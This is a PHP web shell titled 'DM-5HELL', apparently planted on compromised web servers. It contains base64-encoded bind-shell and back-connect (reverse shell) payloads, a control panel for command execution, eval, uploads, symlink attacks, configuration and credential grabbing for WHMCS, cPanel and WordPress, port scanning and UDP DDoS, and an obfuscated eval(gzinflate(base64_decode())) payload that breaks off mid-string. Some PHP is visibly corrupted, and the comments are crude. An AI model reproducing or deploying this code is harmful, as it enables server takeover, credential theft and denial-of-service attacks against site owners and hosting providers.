$port_bind_bd_c="bVNhb9owEP2OxH+4phI4NINAN00aYxJaW6maxqbSLxNDKDiXxiLYkW3KGOp/3zlOpo7xIY793jvf +fl8KSQvdinCR2NTofr5p3br8hWmhXw6BQ9mYA8lmjO4UXyD9oSQaAV9AyFPCNRa+pRCWtgmQrJE P/GIhufQg249brd4nmjo9RxBqyNAuwWOdvmyNAKJ+ywlBirhepctruOlW9MJdtzrkjTVKyFB41ZZ dKTIWKb0hoUwmUAcwtFt6+m+EXKVJVtRHGAC07vV/ez2cfwvXSpticytkoYlVglX/fNiuAzDE6VL 3TfVrw4o2P1senPzsJrOfoRjl9cfhWjvIatzRvNvn7+s5o8Pt9OvURzWZV94dQgleag0C3wQVKug Uq2FTFnjDzvxAXphx9cXQfxr6PcthLEo/8a8q8B9LgpkQ7oOgKMbvNeThHMsbSOO69IA0l05YpXk HDT8HxrV0F4LizUWfE+M2SudfgiiYbONxiStebrgyIjfqDJG07AWiAzYBc9LivU3MVpGFV2x1J4W tyxAnivYY8HVFsEqWF+/f7sBk2NRQKcDA/JtsE5MDm9EUG+MhcFqkpX0HmxGbqbkdBTMldaHRsUL ZeoDeOSFBvpefCfXhflOpgTkvJ+jtKiR7vLohYKCqS2ZmMRj4Z5gQZfSiMbi6iqkdnHarEEXYuk6 uPtTdumsr0HC4q5rrzNifV7sC3ZWUmq+LVlVa5OfQjTanZYQO+Uf"; 
$port_bind_bd_pl="ZZJhT8IwEIa/k/AfjklgS2aA+BFmJDB1cW5kHSZGzTK2Qxpmu2wlYoD/bruBIfitd33uvXuvvWr1 NmXRW1DWy7HImo02ebRd19Kq1CIuV3BNtWGzQZeg342DhxcYwcCAHeCWCn1gDOEgi1yHhLYXzfwg tNqKeut/yKJNiUB4skYhg3ZecMETnlmfKKrz4ofFX6h3RZJ3DUmUFaoTszO7jxzPDs0O8SdPEQkD e/xs/gkYsN9DShG0ScwEJAXGAqGufmdq2hKFCnmu1IjvRkpH6hE/Cuw5scfTaWAOVE9pM5WMouM0 LSLK9HM3puMpNhp7r8ZFW54jg5wXx5YZLQUyKXVzwdUXZ+T3imYoV9ds7JqNOElQTjnxPc8kRrVo vaW3c5paS16sjZo6qTEuQKU1UO/RSnFJGaagcFVbjUTCqeOZ2qijNLWzrD8PTe32X9oOgvM0bjGB +hecfOQFlT4UcLSkmI1ceY3VrpKMy9dWUCVCBfTlQX6Owy8="; 
$back_connect="fZFRS8MwFIXfB/sPWSw2hUrnqyPC0CpD3KStvqh0XRpcsE1KkoKF/XiTtCIV6tu55+Z89yY5W0St ktGB8aihsprPWkVBKsgn1av5zCN1iQGsOv4Fbak6pWmNgU/JUQC4b3lRU3BR7OFqcFhptMOpo28j S2whVulCflCNvXVy//K6fLdWI+SPcekMVpSlxIxTnRdacDSEAnA6gZJRBGMphbwC3uKNw8AhXEKZ ja3ImclYagh61n9JKbTAhu7EobN3Qb4mjW/byr0BSnc3D3EWgqe7fLO1whp5miXx+tHMcNHpGURw Tskvpd92+rxoKEdpdrvZhgBen/exUWf3nE214iT52+r/Cw3/5jaqhKL9iFFpuKPawILVNw=="; 
$back_connect_c="XVHbagIxEH0X/IdhhZLUWF1f1YKIBelFqfZJliUm2W7obiJJLLWl/94k29rWhyEzc+Z2TjpSserA BYyt41JfldftVuc3d7R9q9mLcGeAEk5660sVAakc1FQqFBxqnhkBVlIDl95/3Wa43fpotyCABR95 zzpzYA7CaMq5yaUCK1VAYpup7XaYZpPE1NArIBmBRzgVtVYoJQMcR/jV3vKC1rI6wgSmN/niYb75 i+21cR4pnVYWUaclivcMM/xvRDjhysbHVwde0W+K0wzH9bt3YfRPingClVCnim7a/ZuJC0JTwf3A RkD0fR+B9XJ2m683j/PpPYHFavW43CzzzWyFIfbIAhBiWinBHCo4AXSmFlxiuPB3E0/gXejiHMcY jwcYguIAe2GMNijZ9jL4GYqTSB9AvEmHGjk/m19h1CGvPoHIY5A1Oh2tE3XIe1bxKw77YTyt6T2F 6f9wGEPxJliFkv5Oqr4tE5LYEnoyIfDwdHcXK1ilrfAdUbPPLw=="; 
?>

<html><head>
<title>
      :: DM-5HELL ::
</title>
  
<script type="text/javascript">
function tukar(lama,baru){
document.getElementById(lama).style.display = 'none';
document.getElementById(baru).style.display = 'block';
 }
function blink() {
var blinks = document.getElementsByTagName('kelip');
for (var i = blinks.length - 1; i >= 0; i--) {
var s = blinks[i];
s.style.visibility = (s.style.visibility === 'visible') ? 'hidden' : 'visible';
}
window.setTimeout(blink, 500);
}
if (document.addEventListener) document.addEventListener("DOMContentLoaded", blink, false);
else if (window.addEventListener) window.addEventListener("load", blink, false);
else if (window.attachEvent) window.attachEvent("onload", blink);
else window.onload = blink;
</script>
  
<style type="text/css">
body{
background:#000000; 
}

a { text-decoration:none; }
a:hover{ border-bottom:1px solid white; }

*{ font-size:11px;font-family:Tahoma,Verdana,Arial;color:#FFFFFF; }

#menu{ background:#111111;margin:8px 2px 4px 2px; }

#menu a{ padding:4px 18px;
margin:0;

background:#222222;
text-decoration:none;
letter-spacing:2px;
border-radius: 4px;
border-bottom:2px solid #444444;
border-top:2px solid #444444;
border-right:2px solid red;
border-left:2px solid red;
}

#menu a:hover{
background:#191919;
border-radius: 7px;
border-bottom:2px solid #white;
border-top:2px solid #white;
border-right:2px solid #FF0000;
border-left:2px solid #FF0000;
}

.tabnet{ margin:15px auto 0 auto;border: 1px solid #333333; }

.main {
width:90%;
margin:30px auto 10px;
padding:10px 10px 5px 10px;
border-radius:5px;
-moz-border-radius:5px;
-moz-box-shadow:0px 0px 10px #FFFFFF;
}

.gaya { color: red; }

.gaya a { color: white; }

.inputz{ background:#111111;
border:0;
padding:2px;
border-bottom:1px solid #FF0000;
border-top:1px solid #FF0000; }

.inputzbut{
background:#111111;
color:#FF0000;
margin:0 4px;
border:1px solid #444444;
border-bottom:1px solid #FF0000;
border-top:1px solid #FF0000;
border-right:1px solid #FF0000;
border-left:1px solid #FF0000;
}

.inputz:hover, .inputzbut:hover{
border-bottom:1px solid white;
border-top:1px solid white;
}
 
.output { margin:auto;
border:1px solid #FF0000;
width:100%;
height:400px;
background:#000000;
padding:0 2px; }

.cmdbox{ width:100%; }

.head_info{ padding: 0 4px; }

.dminfox {
font-size:11px;
font-family:Tahoma,Verdana,Arial;
color:white;
}

.infodmx {
font-size:11px;
font-family:Tahoma,Verdana,Arial;
color:red;
} 

.b0{
font-size:30px;padding:0;color:#444444;
} 
.b1{
font-size:25px;padding:0;color:red;
}
.b2{
font-size:25px;padding:0;color:white;
}
.b3{
font-size:10px;padding:0;color:red;
}
.b4{
font-size:20px;padding:0;color:#FF0000;
} 
.b5{
font-size:20px;padding:0;color:#FFFFFF;
}
.b6{
font-size:20px;padding:0;color:#00FF00;
} 
.b7{
font-size:20px;padding:0;color:red;
}
.b8{
font-size:20px;padding:0;color:white;
} 
.b9{
font-size:20px;padding:0;color:yellow;
}
.b10{
font-size:20px;padding:0;color:#444444;
} 
.b11{
font-size:10px;padding:0;color:yellow;
}
.b12{
font-size:10px;padding:0;color:#444444;
}

.b_tbl{ text-align:center;
margin:0 1px 0 0;
padding:0 1px 0 0;
border-right:1px solid #333333; }

.c_tbl{ text-align:center;
margin:0 4px 0 0;
padding:0 4px 0 0;
border-left:1px solid #333333; }

.phpinfo table{ width:100%;
padding:0 0 0 0; }

.phpinfo td{ background:#191919;
color:#cccccc;
padding:6px 8px;; }

.phpinfo th, th{ background:#111111;
border-bottom:1px solid #333333;
font-weight:normal; }

.phpinfo h2, .phpinfo h2 a{ text-align:center;
font-size:16px;
padding:0;
margin:30px 0 0 0;
background:#222222;
padding:4px 0; }

.explore{ width:100%; }

.explore a { text-decoration:none; }
.explore td{ border-bottom:1px solid white;
padding:0 8px;
line-height:10px; }

.explore th{ padding:3px 8px;
font-weight:normal; }

.explore th:hover , .phpinfo th:hover{ border-bottom:1px solid white; }

.explore tr:hover{ background:#444444;
cursor:pointer; }

.viewfile{ background:#EDECEB;
color:#000000;
margin:4px 2px;
padding:8px; }

.sembunyi{ display:none;
padding:0;margin:0;}

.info{ background:#111111;
width:99%;
padding:5px;
margin:10px auto 5px;
text-align:center;
font-size:13px;}

.info a{ font-size:14px;}
.info span{ font-size:14px;}
.jaya{ margin:5px; text-align:right; }
</style>
</head>
<body onLoad="document.getElementById('cmd').focus();">
<div class="main"><div class="head_info">
<table><tr><td>

<table class="b_tbl">
<tr><td>
<a href="?"><img src="http://3.bp.blogspot.com/-ssXn57INr1k/Ud0z6HqtqqI/AAAAAAAAC2k/VP_f52tEA-E/s1600/Logo+Backtrack.jpg" width="140" heigth="125"></a> 
</td></tr>
<tr><td>
<nobr><b><span class="b1">DM-5</span><span class="b2">HELL</span></b></a></nobr> 
</td></tr>
<tr><td>
<nobr><b><span style=font-size:15px;padding:0;color:#444444;">Private Security Web Shell</span></b></nobr>
</td></tr>
<tr><td><? if(isset($auth_pass)){ echo "<form method='POST'> <input type='SUBMIT' class='inputz' name='logout' value=' [ LOG OUT ] '></form>"; } ?></td></tr>
</table>
</td>
<td><?php echo $buff; ?></td>

</tr></table></div>
  

<!-- ARE YOU READY ?  :D -->
               
            <!-- 1 --> 
                            <!-- 2 --> 
<!-- 3 -->
                     
<!-- LET'S PLAY THE MUSIC :D --> 

<br><br>
<div id="menu" align="center">
<table><tr>
<td style=\"text-align:center;\"><b><a href="?<?php echo "dm=" . $pwd; ?>">HOME</a></b></td>
<td style=\"text-align:center;\"><b><a href="?<?php echo "dm=".$pwd; ?>&amp;x=phpinfo">PHP INFO</a></b></td>
 <td style=\"text-align:center;\"><b><a href="?<?php echo "dm=" . $pwd; ?>&amp;x=mysql1">MYSQL I</a></b></td> 
<td style=\"text-align:center;\"><b><a href="?<?php echo "dm=" . $pwd; ?>&amp;x=mysql2">MYSQL II</a></b></td> 
<td style=\"text-align:center;\"><b><a href="?<?php echo "dm=" . $pwd; ?>&amp;x=upload">UPLOAD</a></b></td>
<td style=\"text-align:center;\"><b><a href="?<?php echo "dm=" . $pwd; ?>&amp;x=mail">MAILER</a></b></td>
</tr></table></div>

<!-- Let's Make A Little Command For Safety First :) --> 

<div id="menu" align="center">
<table><tr>
<td style=\"text-align:center;\"><b><a href="?<?php echo "dm=" . $pwd; ?>&amp;x=php">EVAL</a></b></td> 
<td style=\"text-align:center;\"><b><a href="?<?php echo "dm=" . $pwd; ?>&amp;x=shell">SHELL</a></b></td> 
<td style=\"text-align:center;\"><b><a href="?<?php echo "dm=" . $pwd; ?>&amp;x=dmsec1">HTACCESS</a></b></td>
<td style=\"text-align:center;\"><b><a href="?<?php echo "dm=" . $pwd; ?>&amp;x=dmsec2">PHP.INI</a></b></td>
<td style=\"text-align:center;\"><b><a href="?<?php echo "dm=" . $pwd; ?>&amp;x=dmsec3">BASEDIR</a></b></td> 
<td style=\"text-align:center;\"><b><a href="?<?php echo "dm=" . $pwd; ?>&amp;x=dmsec4">PROCESS</a></b></td> 
<td style=\"text-align:center;\"><b><a href="?<?php echo "dm=" . $pwd; ?>&amp;x=netsploit">NETSPLOIT</a></b></td> 
</tr></table></div> 

<!-- Next You Always Say This Is Config Fvcker -->
<!-- Oh Yeah Honey :* Please Don't Tell Everybody If  You Will Fucking Me Now :* --> 

<div id="menu" align="center"><table><tr>
<td style=\"text-align:center;\"><b><a href="?<?php echo "dm=" . $pwd; ?>&amp;x=jumping">JUMP</a></b></td>
<td style=\"text-align:center;\"><b><a href="?<?php echo "dm=" . $pwd; ?>&amp;x=grabber">GRAB</a></b></td>
<td style=\"text-align:center;\"><b><a href="?<?php echo "dm=" . $pwd; ?>&amp;x=ckperl">PERL</a></b></td>
<td style=\"text-align:center;\"><b><a href="?<?php echo "dm=" . $pwd; ?>&amp;x=apache">APACHE</a></b></td>
<td style=\"text-align:center;\"><b><a href="?<?php echo "dm=" . $pwd; ?>&amp;x=hostgator">HOSTGATOR</a></b></td> 
<td style=\"text-align:center;\"><b><a href="?<?php echo "dm=" . $pwd; ?>&amp;x=bluehost">BLUEHOST</a></b></td> 
<td style=\"text-align:center;\"><b><a href="?<?php echo "dm=" . $pwd; ?>&amp;x=ovh">OVH</a></b></td> 
<td style=\"text-align:center;\"><b><a href="?<?php echo "dm=" . $pwd; ?>&amp;x=litespeed">LITESPEED</a></b></td> 
</tr></table></div> 
 
<!-- Are You Like Symlink Methode ? Haha :D Funny LoL --> 

<div id="menu" align="center"><table><tr>
<td style=\"text-align:center;\"><nobr><b><a href="?<?php echo "dm=" . $pwd; ?>&amp;x=dmsym1">SYMLINK1</a></b></nobr></td> 
<td style=\"text-align:center;\"><nobr><b><a href="?<?php echo "dm=" . $pwd; ?>&amp;x=dmsym2">SYMLINK2</a></b></nobr></td> 
<td style=\"text-align:center;\"><nobr><b><a href="?<?php echo "dm=" . $pwd; ?>&amp;x=dmsym3">SYMLINK3</a></b></nobr></td> 
<td style=\"text-align:center;\"><nobr><b><a href="?<?php echo "dm=" . $pwd; ?>&amp;x=dmsym4">SYMLINK4</a></b></nobr></td> 
<td style=\"text-align:center;\"><nobr><b><a href="?<?php echo "dm=" . $pwd; ?>&amp;x=dmsym5">SYMLINK5</a></b></nobr></td> 
<td style=\"text-align:center;\"><nobr><b><a href="?<?php echo "dm=" . $pwd; ?>&amp;x=dmsym6">SYMLINK6</a></b></nobr></td>
</tr></table></div> 

<!-- Hhmmm... Are You Like WHMCS  ? --> 
<!-- Haha Me Too :D Think Again Dude --> 
<!-- If You And Me Like WHMCS,  WHO WE ARE ;D Lolers?  -->

<div id="menu" align="center"><table><tr>
<td style=\"text-align:center;\"><b><a href="?<?php echo "dm=" . $pwd; ?>&amp;x=whmcs1">WHMCS</a></b></td> 
<td style=\"text-align:center;\"><b><a href="?<?php echo "dm=" . $pwd; ?>&amp;x=whmcs2">WHMCS II</a></b></td> 
<td style=\"text-align:center;\"><b><a href="?<?php echo "dm=" . $pwd; ?>&amp;x=plesk">PLESK</a></b></td> 
<td style=\"text-align:center;\"><b><a href="?<?php echo "dm=" . $pwd; ?>&amp;x=reseller">RESELLER</a></b></td>
<td style=\"text-align:center;\"><b><a href="?<?php echo "dm=" . $pwd; ?>&amp;x=crypter">ENCRYPT</a></b></td> 
<td style=\"text-align:center;\"><b><a href="?<?php echo "dm=" . $pwd; ?>&amp;x=cgi2012">CGI2012</a></b></td> 
</tr></table></div> 

<!-- How About This Man  ?  --> 
<!-- nanana yayaya lalala enjoy the cms ;v --> 

<div id="menu" align="center"><table><tr>
<td style=\"text-align:center;\"><b><a href="?<?php echo "dm=" . $pwd; ?>&amp;x=cpanel">CPANEL</a></b></td> 
<td style=\"text-align:center;\"><b><a href="?<?php echo "dm=" . $pwd; ?>&amp;x=iis7">IIS 7.5</a></b></td> 
<td style=\"text-align:center;\"><b><a href="?<?php echo "dm=" . $pwd; ?>&amp;x=dmwp">WP</a></b></td> 
<td style=\"text-align:center;\"><b><a href="?<?php echo "dm=" . $pwd; ?>&amp;x=dmjm">JOOMLA</a></b></td> 
<td style=\"text-align:center;\"><b><a href="?<?php echo "dm=" . $pwd; ?>&amp;x=dmvb">VB</a></b></td> 
<td style=\"text-align:center;\"><b><a href="?<?php echo "dm=" . $pwd; ?>&amp;x=skype">SKYPE</a></b></td> 
 </tr></table></div> 

 <!-- Sexy Women Sexy On Your Bed :D wkwkwk --> 

<div id="menu" align="center"><table><tr>
<td style=\"text-align:center;\"><b><a href="?<?php echo "dm=" . $pwd; ?>&amp;x=unzip">UNZIP</a></b></td>
<td style=\"text-align:center;\"><b><a href="?<?php echo "dm=" . $pwd; ?>&amp;x=coding">ENCODE</a></b></td> 
<td style=\"text-align:center;\"><b><a href="?<?php echo "dm=" . $pwd; ?>&amp;x=analyzer">ANALYZER</a></b></td> 
<td style=\"text-align:center;\"><b><a href="?<?php echo "dm=" . $pwd; ?>&amp;x=tools">OTHER TOOLS</a></b></td>
</tr></table></div> 

<!-- Maybe This Can Help You :) -->

<div id="menu" align="center"><table><tr> 
<td style=\"text-align:center;\"><b><a href="?<?php echo "dm=" . $pwd; ?>&amp;x=sscan">SHELL SCAN</a></b></td> 
<td style=\"text-align:center;\"><b><a href="?<?php echo "dm=" . $pwd; ?>&amp;x=pscan">PORT SCAN</a></b></td> 
<td style=\"text-align:center;\"><b><a href="?<?php echo "dm=" . $pwd; ?>&amp;x=ddos">UDP DDOS</a></b></td></tr></table></div> 

<!-- Last Songs From EviLolers -->

<div id="menu" align="center"><table><tr> 
<td style=\"text-align:center;\"><b><a href="?<?php echo "dm=" . $pwd; ?>&amp;x=about">ABOUT ME</a></b></td> 
<td style=\"text-align:center;\"><b><a href="?<?phwd; ?>&amp;x=kill">KILL SHELL</a></b></td>
</tr></table></div> 

<!-- Okay... It's Time To Play.. With Us..  -->
<!--  You'll Never Know Before You Try It First  -->
 
<?php 
if(isset($_GET['x']) && ($_GET['x'] == 'php')){ ?> 
<form action="?dm=<?php echo $pwd; ?>&amp;x=php" method="post"> 
<table class="cmdbox"><tr><td>
<textarea class="output" name="cmd" id="cmd"><? eval(gzinflate(base64_decode('FZfHsoPYFUV/xbNuFwNyKtvdRc45M3GRcxBJwNdb1uhVSUg87jl7r/X3X//++x/VlY1/Nm8312N2VH/ux/bfbTlg9M882ysC+29ZFUtZ/fmHmK4BT9ofMfHBEJlwwTkO96MWUH6tGWu739qt6hmlcqsQ2Y2G3v1L7RcIkCgIgKO7rxdc0+VpeSp44iGYXxfezdGQgN6RHLjOgMMnAIIqqEFYioIZr4DXjZu6kaVHzEh6rSxLqDcP8gixjF0msxYFYk9pZV6ZVTDcgS0sOhSjcRQhBHR/qkohI/0BwdokHYPIufFv0JZqLlJGPpZqwzDbMZ+Y3I8slQK8OclaE1hv6yh2DoE8tPn2kxJw7jAvDNtFgKPA5/5cx0SMRHsIp7Ai2FBXsFLQ9A3rW5LNOMQk2lPU+DpmM6XIJPOcEvWshHvX9WNb7mMdafviD2JBvNMJw5pwk2Xt/lfCMNJHjuDGH/l0ElWirAoLr9wMnrqf95z2lCOXgn6F0CT2/fvAt9ujZKgXDpla9JqbBoJ47vh4K/82PlC/EvTq2Bf2kO8smhaXzxs2yzwPJKI/QBabEoKyrL/3nJrXdNR/WErpv8V9AJr9mLtLELthbznczWg8XhUG88/qQ1HofQz2xWrFN26qbKrYNh2T+BK7qo5Z19wIH9sTY1I5jhbuJfaZGXUiyKKhUwyaus1xUFlZBpetenLKMRQcnfc8z9vKM4hpxuKYc3ci7nCIW9fpobdQJMNGx+rysJfniz3qlfghUTgtPOBISldYNtDzN8BnFtXS4E1Olv79ynmCKPl010HE+JwYi7nvE03Qo3Mt/KaWY1bUdgtMjUpgycdXC8prQ/pjkqhApIKjypJ4NTPdrFVNAtf27JwnFJUPuQHOaP1mFNge1g2oiEmyxGe1BEMxZTypful5XeGoYmKB5QtJE+aOZcSlfM3VCHhOvfd+2HGdUoDFM9Zypu1GiOw1R68CtEvzUVIp4KKCR3Vof8y+S1ZXxVY/FnFmpbTg1PoOPIazSyvZ30FkDg+DvEgwa7O3tB5PNDxeipzuw2jFJchbTIa4Hs6bXfvjlYZhoTstMkb1uRsz58WWMWjRFyIcmRsT4KxKCG0QYEXFkCYqGmpcJ3wG+z4Yy9kYVg+VyzIjsvI3CnQ2mJVQPGEYC/Cy3vFjRAoID4XuWvyUY6l8fbB1S9eKDdXOUBJtAvySHDg2aZI6Z/4MkVXTt20UqnALPgwPq7z3FRl5d2+doBimSEVD5dAduiqpJIvv1SSSTxzmgtUJiRiHMD2FJJv0J7lF5bmIqNmS33EuA6IH+xDMECpfmf49vKN9VWmdXSvkXYTwH10hozClHHPnon1CAem89NE4aEv6muTv5yU6njOkwumrbUwIQ5NJTOVfVARUjmB5OsNH5w3e6O2V94G4yYcDR5dyvleoPKb6rYPsER22ZvhITyPG/SjWx9aZIBJAjMBsuyRCYH1YXEX7DC0Y/GR4QGzKhY8CqFPbWFgNIvJWQq/UufLtwnlu/C/FcgCRcxX5QjVXmwwyl1pnPZk0NXgOc+hIltExRWQS4tbFZChmEB/YrHs78PkPBLIJzWEnUcZgEbkYWdfYWgo6qFNnuhAnS/YLlgGP6xnhvkdeIuhreFuwnse0CESSW8whRz4aAcrBEe9SFW046df1Mo75OBGw1iOO6woBby56PylB5k7w3Y5oWsNO5+1u1Qlx0haYchXBhJc8JO2W5buYNqUr6XUlhFvcwdyxeSdIT3JE6srYGRfslAmUKYtfIXDacH3aGcMY2fqyOU4ncDZ6uZ3VSXhqYHIViAL27DiEmHFqKnNWxkbGI4dAhSn1SWj6AsmsLv3rMvi4KLPc8PK3iJ8DSAfqhAgekShP7w1Wt+9WmOO8yUp+AyM0I8vqlyCcQspDpPA7PH4rKsnp9T1MkKKeui5AbyPUz6OEU1se2DYxnUBmuu5ER0MgEJETh9O1YlCt/RCymg+dfiwB4CaU4+hk5XZJeYJcZRr5ZXBwGbU81L23GBokH6QCzg37/u4dsA4L7gq6FWB+tp1Nfu3VXleazW41su9l0R6cFyBLhTfl2fHflBfzZ5KfKmd4y03G4/lEk+EvpTOuQBa510QV4vgCRv9Gk5bXcOyilEQXCRXe+4CHv/lsZ6p01DpJLEjG0uktdhHTVcHGJUk24Ekyfwd/5Ut4V2KNJphZWx//7nnrWwKUf1M+v4mn7wH5xYMVLiBdmmgDX2mBjPnXjOi/ZxYgjdLcurkR8ILdGClSEdyKWZfxMBiNX55LAzpV6qN/6Wd7cf66oE+MlvqzpxvRitPiTDSc7JNc/Pq8wjv3VV8YP8jp84QGWrPLYt05FPwKNQSqeNDE0YylMv7MlrGggeKQUuSxwqgSRelQ0TYrLfzRpQxAzlZ2xzaTfPdHImmDuR27f0rNaY6qeclFHhwKZ+00802ddYSx9uB6EvxrKUZoC3OVNGGiR7/0hLZ6ygmzv0PAZ/SMq3LoOkYgxfRY4xufj2If8u4IH7YzYIaUR9uSku9qzYAe7nPTYAM2svn9Oo4w8bXeUIaOxASKqmt2c0ma4t6TE3hlKm/3PgCK4NAIJc+vHOleq/kxI6slAzYS52bf5bjwFjPA+oBcH4fxahfLJ2CYj5kr2cS89RZfu+K4Dk0QPl4G5RtfWxpdQySvvBEz3H1sIsKJGvlh21+1fWL/6eSgkQ80PPRsK1khrnfdLrky14+D+dbHKtJSaAXwynewu2r8DhlR8GVe3PQkhRw1piECdQ0wMYNKqOdOjxsXHOcmZbY/IbTQ45xz8XB4+TzV6bdaofyu78ZuOjAu4M0WvP6JCqmuMm3dFhi1sQp0Zxf84M+ppFXxAqjZFCmTqypXR7kZT4Nf9jwUlyH3hPqZsaAFIHXLWvd0xM9Y20+iEavK06qZrOQNomYx/NKwa2lO4kthgNiJNxCMDC2OVKluP6U+NZA3TRSyPgOPk+OhesbpVz/aegkqYQdzDO2K0DHAzX+FnEZt3qHX8azzQX0IKUdwmglmamHd8tfw1ftMBir+VnAmysAiHh/yf+ixBS6T+DYvi3Qor3UYQsA1OBn8KMramcct25P9GbZvrXbsQMSbIUFeaQ37ECYtKEVc+R4skz7kAR5431JqqNGuKz5qbF0TRrcThjA0q2fobKRAEdiY+eyjFIbRS9RPmxQguhhvL3IpHgiYZ1sknjVEz5+bQaMkRhDd+QAUJg3R0FL25cgkBzqy1r0f2XDRINh9KKUxTwzB7e1oM/r1koAaD0JQm2G+zAhciLAhb7mpcpWouc/DxNfBYMYQnSRgdhQF1mWYE9owrSIQQnU2gS10XG86L/mk5I7tNvDJHb0HZlJ7Wajvcm8qmAVg0h/OQndAUPuXT/3PLrBxa5YelVonDt5hxmGIGZsQbOR33iUHSm5RSW27GzwJplXXnrQNMTbClwJ+NCbC2kFjBsBi4m8NEk/xdf5mh9Pqj82Kj4ldZWtpSzMkP7Y/mOViWysd8MX7mPQZIbKN6v3O5IBEbk39bk0HjCnvauMWyGH4JFDfGkJxE9mXR8lDP8Y1O4B9gyis+xDRd5QreDjpXM/ZMFdORb6+7z08J90Td/39YRi8bN3jPotjhMmmv6+caZp4YwKe1vcdewFcZnI/6M5gQRYE6+2gjr8OQdl3HfZYiED+M9xm+xkJ/yLv7obl2cvpRWGGgKYi99FfPqbTOi/rkcQpB8JRmFDOATqaGq/KxFt/WbBjux5VmxMVQW21oVZCvw5IMZJdjTenrS6d8e0T6rbGyAaGUAJQp4LH8kyJbSo8JmBSy6bzYXxmTeP1dEKzzVieDz2orTN5MCySuYD78NF0qJBmDRqBIBlUcbr5w4HDwVQzzXVsn2Bw56n42gN8dedh8hXk777HIURXX1a9P14v7u+E6Kurn3K8wuTm6dXXVAyOeYoJhdf2OQbvZJnQIc8a7v0JSbwZEIjCfDbqBBfaMYzRp+eNDpFv2e0KjKSW6q9wkDh8Of3oWiBmTUdCwQNkX9wEczLxeGYxBxR0V/4mKaykMq77pwNsqSvq2wEJTOezQ2ffD7CJdTLw8mxlt00+6bXOQKk3pvx7Z/kyWFcRy+aoawT6fe7cmfF5sCpQNpBT3xArME9AWK9K+oMOk+4biuROaf3M6ZhD34MCBuAS+9WI9rX/sRCtf3eWuJE1SF9slzZVMITRLcbeUYquq5G4vL+kkTXFwyK84vpR4IPMfpvebXFSkNg3LJaq9uiZZjbz/p4JuWcxbJ0Bv/4axX4gMEfk7XPsztvtsVNKcNLOlkA9Z9upuXuWZKwf7HzzEI1bMc06wPyzdvoSr3sZ7R+lFPRijkTwTM50PWoTi1q4t8tXlQhEvYRILhi5odVg3jzxzmQmDVgrcrtiboK6HuxhzN3jhnGhVMLQFaOdhtHBTHcHsupWjbYWUsQmKdtPh3LVp/If1Chk0LoO8g15x2hfzGrmmtLPBZ52uDLWTIq/SLUrK/V2EJ+UyDdSoqg7AgbgJ//UfMB3+/J7/zJ7aUHYF4NlM9I8H3c6QBabWaIJjODvdk7abNqsNecAA3x3Jz2lA7mKH2S8mSv1IG73OvlDD5EnSpW29xDlW47Ilr1jszPdxcYz/M/Tv+7Ljf757b6dDgetrRTmN5GrcntE/23WsmFFg2GQ/sdMd3NTV/c2LVCUH3cU2OccCbyRFdrcnZG2RW3sqzbZjO819HFDxJpFKo7+09uBuTJDoAfDjSDNqXbOGFUSkOwq13z9Y5ZPNsTLFs+XJ2Qhkw9nzWt2SVrwjNlvJ//UgUG9g+niisEyy4zljjJkticqHcjllHbCGXM4zk8URMWq6T6/RRrVJJa8DLrmj4UT+0bCe20AUEtPcK7yvI/E+1Z9WHkZ+EHiWPOgkTdxKuKpJaR8ogmKBmL4LPSvXLROsw30GJTxmcGBU6YuZul0OsBKUalwjJxlgqpsk8pVblkjAo2RGFU665lgdc57k07YrSGuSd6uzfWTpqEpHfMvwvUR/f0KPGUbrWiCiwaIraBUat58mgSnlU2yBUmVYRIPFLh8Q4kwmXoqu7Rv4ald9HL1EH2RiNACVH4skoDil9LCd/q6P5K8MbZ/qEA3vOWCRsd5fF96I21qcSf8U6KYlfj5db3vmrjX5i2rmO6g8qXg9LXVkrB/UP6a1XTyQfOLfnl+UcUAemwsu8VaZ4EMHbtH8MmVKWaG8l+jZh0PgDEbdnDeQLNPxYf4PAi4oQ5znG9AMT8ST/0yM92EN80AsL4Y2QuEnwwBaMGEBkiDxmRPyXM3V9tIWARlrCaDbWegNMPi71IeRUK9SRYVRUPtUHlSd6i5Pn2qEfQ6UfjoCTYazger4OA7GbDWIKnBspKtbythRi+dRoAnPhbxd9c20Q3dotSCHti043+09ch/g6VE1tDsTeCivN5Gu5LazfzqzWpXhFgK0N352SMlx2E4HKEVQeXUS71JY2D0D53i4dMlH0YbcDS/JKb+Cd9tQu1iZ6lk1SsTv2jWXDwzQLA7bWP79eVqB70pQhzeSVnrEksC0EbkpAN9QR/LcI8aoHTUpfL322ShVuz3ytG1+0XQAtPRYAVLfnK8NjHFUUc84Zr9/gB/lFSmua+HxY2T37jxgI7VooccgYOWGUDK0zkm7fnj6c6ZfMRv0sgIqEI/5UdgUA13kZ2brkcwHmah6ienwG89xjfOI9DNKAUnJ8sQOAf4BS01/h6n9tjAWtQ2lf6ihzoZ0/E1t8wYOOoJvYBgunBWJ88qCq7Uyb7fWu+YM9JunHolrxqHWIQ37/PD1ydoyw9ST6kExl+LgOJzIZihEt8PpLNwooyh/8V8IsIGBTtARKg3SLo+1IN4VS8F80Pu/Ngi+U4M8khcKTpcce0p/Kfw5lM09Y784atI4Xng8vxzQUZ4WUr9Y1zPMwyDwWfJCqjpeKFNYSd89nw1jHadDAkoUQtkR7+2WX7K3sf1n+feolCe3I5kpkKQRNAeS+sNgS4VOHG5Qm/oFjO/7fRUcGYBHEQiASChajN1K7zr06Ac1mjCkQfLvSXq7VeQaCFb8saaFsQafZXkddywq9Gb2K8aXZmLZwAV06byhT56C1poli9ffCy6fe7frdDspaHhQiiLyPZogDcD20zeyHeuECehFqFBU9FskbqeXPbHMCBeKsUFA//40Ats7xw/rLk92Lnb/hU4/ubyVmB7Hf6KVFEFUSjY1sMFLvyUIiZG7on1se8Q1+jfqw4jLOq5+/tLO2+GleNnDQB9J1Jyusiolk6WwsI5JN99+sbc0WU5dqbY6eXViozrvTtYuTGAmbvR4wyVH2u4VRpgHePWwGDR4n6CHtAOnU2ph0FlF6ufn76rP9fwU3NSu1lDcAKL4ZSw0kio9IEgO6MyLjsSJJ/+LcunGGnnxstLaSegXnJ2CnE57730IKJuaG+EsaIBFPDkinyjLnVKXfV1w8X6tn4KUF+hAhWEYe1ht1N30J4tuK69B01gQdVeBpx1S+4Nz1nyS071XotF4hPYhrpdQCWHMHxTW7/WTPHOCbtS/2GCjxlDdpQ88qOwt4a0XfNQPsaKnpq42TQBCfHt5iuMZASNZPNUAPb1qwJSy1PiIwrx5irtGFRwgOr7BojstgX0xTBLsRXRnX6qDtWJgWetc4o6JWpXwhIN1v8+9yRwbwE1p8vE18DemT89I9QRo2EAQOzBUDqKGs9d9Eo3/k4sIEuSxAf792hOlLTjO0eDqM